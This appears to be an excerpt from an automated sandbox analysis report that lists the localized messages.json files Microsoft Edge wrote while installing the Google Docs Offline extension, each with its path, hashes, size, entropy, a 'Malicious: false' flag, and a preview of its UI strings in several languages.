Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
